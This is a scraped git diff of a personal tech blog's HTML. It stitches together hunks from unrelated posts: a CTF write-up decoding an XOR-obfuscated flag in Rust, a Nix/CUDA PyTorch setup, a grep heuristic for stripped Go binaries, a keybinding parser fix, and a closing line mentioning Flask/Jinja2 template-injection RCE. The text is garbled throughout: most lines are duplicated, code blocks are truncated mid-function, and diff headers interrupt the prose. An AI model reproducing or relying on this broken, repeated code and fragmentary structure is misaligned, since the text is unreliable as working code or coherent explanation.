To execute the code, issue the following.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 24, 2023 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Compact XOR</h1></hgroup><section class=post-content data-pagefind-body><h1 id=description>Description</h1><p>I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…</p><h1 id=exploration>Exploration</h1><p>We begin by creating a new rust project.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo new amateurs
</span></span><span style=display:flex><span>cd amateurs
</span></span><span style=display:flex><span>cargo add hex
</span></span><span style=display:flex><span>cargo add itertools
</span></span></code></pre></div><p>Let&rsquo;s decode the hexadecimal contents of the file using the following Rust code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() -&gt; Result<span style=color:#f92672>&lt;</span>(), Box<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>dyn</span> std::error::Error<span style=color:#f92672>&gt;&gt;</span> {
</span></span></code></pre></div><p>Let&rsquo;s decode the hexadecimal contents of the file using the following Rust code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() -&gt; Result<span style=color:#f92672>&lt;</span>(), Box<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>dyn</span> std::error::Error<span style=color:#f92672>&gt;&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> bytes <span style=color:#f92672>=</span> hex::decode(<span style=color:#e6db74>&#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&#34;</span>)<span style=color:#f92672>?</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> stream <span style=color:#f92672>=</span> String::from_utf8_lossy(<span style=color:#f92672>&amp;</span>bytes);
</span></span><span style=display:flex><span> <span style=color:#a6e22e>println!</span>(<span style=color:#e6db74>&#34;</span><span style=color:#e6db74>{:?}</span><span style=color:#e6db74>&#34;</span>, stream);
</span></span><span style=display:flex><span> Ok(())
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>To execute the code, issue the following.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo run
</span></span></code></pre></div><p>To execute the code, issue the following.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo run
</span></span></code></pre></div><p>This gives us a string with every other character being non-printable.</p><pre tabindex=0><code>&#34;a\u{c}a\u{15}e\u{10}r\u{1}C\u{17}F=s\u{12}v\u{13}s,s\u{3}a\u{2}e:b\u{17}t+p\u{1c}a\u{8}n\u{1a}e\u{1d}t+i\u{7}_/l\ri\u{7}_,i\u{e}h\u{1c}_g6\u{4}e\u{3}d\u{2}9D&#34;
</code></pre><p>Notice how each odd numbered character spells out the corresponding character for an &ldquo;amateursCTF{&mldr;}&rdquo; flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> odd_bytes <span style=color:#f92672>=</span> bytes.iter().step_by(<span style=color:#ae81ff>2</span>);
</code></pre><p>Notice how each odd numbered character spells out the corresponding character for an &ldquo;amateursCTF{&mldr;}&rdquo; flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> odd_bytes <span style=color:#f92672>=</span> bytes.iter().step_by(<span style=color:#ae81ff>2</span>);
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> odd_bytes_vec: Vec<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>u8</span><span style=color:#f92672>&gt;</span> <span style=color:#f92672>=</span> odd_bytes.clone().copied().collect();
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> odd_characters <span style=color:#f92672>=</span> String::from_utf8_lossy(<span style=color:#f92672>&amp;</span>odd_bytes_vec);
</span></span><span style=display:flex><span><span style=color:#a6e22e>println!</span>(<span style=color:#e6db74>&#34;</span><span style=color:#e6db74>{:?}</span><span style=color:#e6db74>&#34;</span>, odd_characters);
</span></span></code></pre></div><p>This code gives us the following result:</p><pre tabindex=0><code>&#34;aaerCFsvssaebtpaneti_li_ih_6ed9&#34;
</code></pre><p>On further inspection, it appears that the first character of the raw bytes, &lsquo;a&rsquo;, <strong>xor</strong>ed with the second byte, 0xC results in the character &rsquo;m&rsquo;.
After this transformation, the first 3 bytes spell &ldquo;ama&rdquo; like the start of an &ldquo;amateursCTF{&mldr;}&rdquo; flag.</p><p>The above observation implies that every other character is the <strong>xor</strong> of its previous character and its original counterpart. Since <strong>xor</strong> is an involuntary function,
we can now reverse this transformation by <strong>xor</strong>ing them back with their previous characters.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> even_bytes <span style=color:#f92672>=</span> bytes.iter().skip(<span style=color:#ae81ff>1</span>).step_by(<span style=color:#ae81ff>2</span>);
we can now reverse this transformation by <strong>xor</strong>ing them back with their previous characters.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> even_bytes <span style=color:#f92672>=</span> bytes.iter().skip(<span style=color:#ae81ff>1</span>).step_by(<span style=color:#ae81ff>2</span>);
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> recovered <span style=color:#f92672>=</span> odd_bytes.clone().zip(even_bytes).map(<span style=color:#f92672>|</span>(a, b)<span style=color:#f92672>|</span> a <span style=color:#f92672>^</span> b);
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> solution: Vec<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>u8</span><span style=color:#f92672>&gt;</span> <span style=color:#f92672>=</span> itertools::interleave(odd_bytes.copied(), recovered).collect();
</span></span><span style=display:flex><span><span style=color:#a6e22e>println!</span>(<span style=color:#e6db74>&#34;</span><span style=color:#e6db74>{}</span><span style=color:#e6db74>&#34;</span>, String::from_utf8_lossy(<span style=color:#f92672>&amp;</span>solution));
</span></span></code></pre></div><p>The final code looks like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() -&gt; Result<span style=color:#f92672>&lt;</span>(), Box<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>dyn</span> std::error::Error<span style=color:#f92672>&gt;&gt;</span> {
</span></span></code></pre></div><p>The final code looks like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() -&gt; Result<span style=color:#f92672>&lt;</span>(), Box<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>dyn</span> std::error::Error<span style=color:#f92672>&gt;&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> bytes <span style=color:#f92672>=</span> hex::decode(<span style=color:#e6db74>&#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&#34;</span>)<span style=color:#f92672>?</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> stream <span style=color:#f92672>=</span> String::from_utf8_lossy(<span style=color:#f92672>&amp;</span>bytes);
</span></span><span style=display:flex><span> <span style=color:#a6e22e>println!</span>(<span style=color:#e6db74>&#34;</span><span style=color:#e6db74>{:?}</span><span style=color:#e6db74>&#34;</span>, stream);

View File

@@ -15,7 +15,7 @@ processing. So if you&rsquo;re doing something serious, you have no other choice
Although, OpenAI&rsquo;s Triton and ZLUDA are worth keeping an eye on.</p><p>Unlike your average distro, Nix will prevents conflicts between installed packages by storing its <abbr title="packages and libraries">derivations</abbr> in the <a href=https://zero-to-nix.com/concepts/nix-store>Nix store</a> instead of
locations like <code>/usr/bin</code>, <code>/usr/lib</code> and <code>/usr/lib64</code>.</p><h1 id=how-not-to-add-cuda>How not to add CUDA</h1><p>CUDA, being proprietary junk, does not allow you to redistribute
binaries that are linked with its blobs. Thus, for CUDA enabled PyTorch, we would have to <a href=https://discourse.nixos.org/t/pytorch-and-cuda-torch-not-compiled-with-cuda-enabled/11272/2>allow unfree
packages and enable CUDA support</a>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span><span style=color:#f92672>import</span> sources<span style=color:#f92672>.</span>nixpkgs {
packages and enable CUDA support</a>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span><span style=color:#f92672>import</span> sources<span style=color:#f92672>.</span>nixpkgs {
</span></span><span style=display:flex><span> config <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> allowUnfree <span style=color:#f92672>=</span> <span style=color:#66d9ef>true</span>;
</span></span><span style=display:flex><span> cudaSupport <span style=color:#f92672>=</span> <span style=color:#66d9ef>true</span>;
@@ -28,7 +28,7 @@ Refer to <a href=https://www.reddit.com/r/NixOS/comments/195pzdb/speeding_up_pyt
Nix allows you to create such isolated root filesystems using the <a href=https://ryantm.github.io/nixpkgs/builders/special/fhs-environments/><code>pkgs.buildFHSEnv</code></a> function.</p><p>It accepts a <code>name</code> for the environment and a list of <code>targetPkgs</code> with the things we&rsquo;d need for basic NVIDIA support.
Note the inclusion of <code>micromamba</code> which will do most of the legwork when setting up PyTorch.
I&rsquo;ve also included the <code>fish</code> shell because that&rsquo;s what I daily drive. You can remove that and the <code>runScript</code> attribute
to use the default bash.</p><h2 id=the-flake>The flake</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span> {
to use the default bash.</p><h2 id=the-flake>The flake</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span> {
</span></span><span style=display:flex><span> description <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;Python 3.11 development environment&#34;</span>;
</span></span><span style=display:flex><span> outputs <span style=color:#f92672>=</span> { self<span style=color:#f92672>,</span> nixpkgs }:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span>
@@ -69,7 +69,7 @@ to use the default bash.</p><h2 id=the-flake>The flake</h2><div class=highlight>
</span></span><span style=display:flex><span> };
</span></span><span style=display:flex><span> }
</span></span></code></pre></div><blockquote><p><em>Note:</em> This is <em>NOT</em> the same as containers. The most obvious way to tell is because
you can access your NVIDIA GPU as is, without any passthrough shenanigans.</p></blockquote><p>Enter this flake development environment using <code>nix develop</code>.</p><h1 id=setting-up-pytorch>Setting up PyTorch</h1><p>Now that we have the scaffolding, we can use <code>micromamba</code> to install CUDA for our ML tooling.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>micromamba env create <span style=color:#ae81ff>\
you can access your NVIDIA GPU as is, without any passthrough shenanigans.</p></blockquote><p>Enter this flake development environment using <code>nix develop</code>.</p><h1 id=setting-up-pytorch>Setting up PyTorch</h1><p>Now that we have the scaffolding, we can use <code>micromamba</code> to install CUDA for our ML tooling.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>micromamba env create <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -n my-environment <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> anaconda::cudatoolkit <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> anaconda::cudnn <span style=color:#ae81ff>\

View File

@@ -2,9 +2,9 @@
When all else fails, the Go GC provides a few different specific traces that provide much deeper insights into GC behavior. These traces are always printed directly to STDERR, one line per GC cycle, and are configured through the GODEBUG environment variable that all Go programs recognize.
An environment variable that all Go programs recognize, you say? I had a sneaking suspicion that I could just perform a string search for this term, given all Go programs would need to look for this environment variable definition. This way, we could guess if a binary was written in Go.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jun 13, 2025 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Easy grep to detect stripped Go binaries</h1></hgroup><section class=post-content data-pagefind-body><p>A couple of days ago when I was reading the <a href=https://tip.golang.org/doc/gc-guide>guide to the Go garbage collector</a>, I came across the following excerpt:</p><blockquote><p>When all else fails, the Go GC provides a few different specific traces that provide much deeper insights into GC behavior. These traces are always printed directly to STDERR, one line per GC cycle, and are configured through the GODEBUG environment variable that all Go programs recognize.</p></blockquote><p>An environment variable that all Go programs recognize, you say? I had a sneaking suspicion that I could just perform a string search for this term, given all Go programs would need to look for this environment variable definition. This way, we could guess if a binary was written in Go.</p><p>I created a program called <code>hello</code> to test this out. To make sure the binary is stripped, I compiled it with <code>go build -ldflags '-w -s'</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep GODEBUG hello
An environment variable that all Go programs recognize, you say? I had a sneaking suspicion that I could just perform a string search for this term, given all Go programs would need to look for this environment variable definition. This way, we could guess if a binary was written in Go.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jun 13, 2025 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Easy grep to detect stripped Go binaries</h1></hgroup><section class=post-content data-pagefind-body><p>A couple of days ago when I was reading the <a href=https://tip.golang.org/doc/gc-guide>guide to the Go garbage collector</a>, I came across the following excerpt:</p><blockquote><p>When all else fails, the Go GC provides a few different specific traces that provide much deeper insights into GC behavior. These traces are always printed directly to STDERR, one line per GC cycle, and are configured through the GODEBUG environment variable that all Go programs recognize.</p></blockquote><p>An environment variable that all Go programs recognize, you say? I had a sneaking suspicion that I could just perform a string search for this term, given all Go programs would need to look for this environment variable definition. This way, we could guess if a binary was written in Go.</p><p>I created a program called <code>hello</code> to test this out. To make sure the binary is stripped, I compiled it with <code>go build -ldflags '-w -s'</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep GODEBUG hello
</span></span></code></pre></div><pre tabindex=0><code>grep: hello: binary file matches
</code></pre><p>Sure enough, looks like this does provide a decent heuristic for Go programs! Of course, there&rsquo;s the caveat that another binary can &ldquo;pretend&rdquo; to be a Go binary by simply having this string present in it.</p><p>We could try this technique with other environment variables like <code>GOGC</code>, available in all binaries and <code>GOMEMLIMIT</code>, available for Go 1.19 and up.</p><p>So if you have a hunch that a binary is written in Go 1.19 and above, try <code>grep</code>ping with all the aforementioned variables.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -P <span style=color:#e6db74>&#39;(GOGC|GOMEMLIMIT|GODEBUG)&#39;</span> hello
</code></pre><p>Sure enough, looks like this does provide a decent heuristic for Go programs! Of course, there&rsquo;s the caveat that another binary can &ldquo;pretend&rdquo; to be a Go binary by simply having this string present in it.</p><p>We could try this technique with other environment variables like <code>GOGC</code>, available in all binaries and <code>GOMEMLIMIT</code>, available for Go 1.19 and up.</p><p>So if you have a hunch that a binary is written in Go 1.19 and above, try <code>grep</code>ping with all the aforementioned variables.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -P <span style=color:#e6db74>&#39;(GOGC|GOMEMLIMIT|GODEBUG)&#39;</span> hello
</span></span></code></pre></div><p>Ok bye.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/go class=list-tag>Go</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engieering class=list-tag>Reverse Engieering</a>
<a href=https://lavafroth.is-a.dev/tags/til class=list-tag>TIL</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span></span><span>Guide: Changing Recents Provider on /e/OS</span></a>

View File

@@ -24,7 +24,7 @@ with the older parser!</p><p>Now let&rsquo;s come to the second issue that I dis
</code></pre><p>and to my horror, the parser parsed the following:</p><pre tabindex=0><code>Binding [Modifier(&#34;super&#34;), Key { key: &#34;&#34;, attribute: KeyAttribute(0x0) }] → mpv ~/Music
</code></pre><p>Did you catch it? Take a closer look at the key field in the definition, the escaped key is parsed as empty for some reason.
It turns out that the escaped keys that were part of the <code>shorthand_allow</code> expression were not consistently exposed as a rule
for the code side. Thus, I forgot to parse them back as keys.</p><p>To fix this, we restructure the expressions for keys in normal and shorthand contexts.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>keys_always_escaped <span style=color:#f92672>=</span> _{ <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>~&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>@&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>+&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\\\</span><span style=color:#e6db74>&#34;</span> }
for the code side. Thus, I forgot to parse them back as keys.</p><p>To fix this, we restructure the expressions for keys in normal and shorthand contexts.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>keys_always_escaped <span style=color:#f92672>=</span> _{ <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>~&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>@&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>+&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\\\</span><span style=color:#e6db74>&#34;</span> }
</span></span><span style=display:flex><span>key_base <span style=color:#f92672>=</span> { keys_always_escaped <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;enter&#34;</span> <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;return&#34;</span> <span style=color:#f92672>|</span> ASCII_ALPHANUMERIC }
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>key_attributes <span style=color:#f92672>=</span> _{ send<span style=color:#960050;background-color:#1e0010>?</span> <span style=color:#f92672>~</span> on_release<span style=color:#960050;background-color:#1e0010>?</span> }
@@ -34,7 +34,7 @@ for the code side. Thus, I forgot to parse them back as keys.</p><p>To fix this,
we can easily extract the variants of <code>key_attributes</code> if any as well as the key itself from the <code>key_base</code> or <code>shorthand_allow</code>.</p><p>Finally, let get to unescaping the keys themselves. Initially, the idea was to use <code>unescape</code> function from the snailquote crate
since it allows unescaping any escaped sequence, be it ASCII or unicode. However, we quickly find that we also have to check
whether the keys we just unescaped are supposed to escaped in the first place.</p><p>It makes more sense here to write a small function ourselves to both check for values we know must be escaped as well as escaping
them.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>unescape</span>(s: <span style=color:#66d9ef>&amp;</span><span style=color:#66d9ef>str</span>) -&gt; <span style=color:#66d9ef>&amp;</span><span style=color:#66d9ef>str</span> {
them.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>unescape</span>(s: <span style=color:#66d9ef>&amp;</span><span style=color:#66d9ef>str</span>) -&gt; <span style=color:#66d9ef>&amp;</span><span style=color:#66d9ef>str</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> chars: Vec<span style=color:#f92672>&lt;</span>_<span style=color:#f92672>&gt;</span> <span style=color:#f92672>=</span> s.chars().collect();
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> [<span style=color:#e6db74>&#39;\\&#39;</span>, ch] <span style=color:#f92672>=</span> <span style=color:#f92672>&amp;</span>chars[<span style=color:#f92672>..</span>] <span style=color:#66d9ef>else</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> s;

View File

@@ -4,7 +4,7 @@ Here is a cool video explanation by @pwnfunction on server side template
injection wherein he mentions a way to &ldquo;gadget&rdquo; our way out of Flask&rsquo;s Jinja2 backend to get remote code execution.
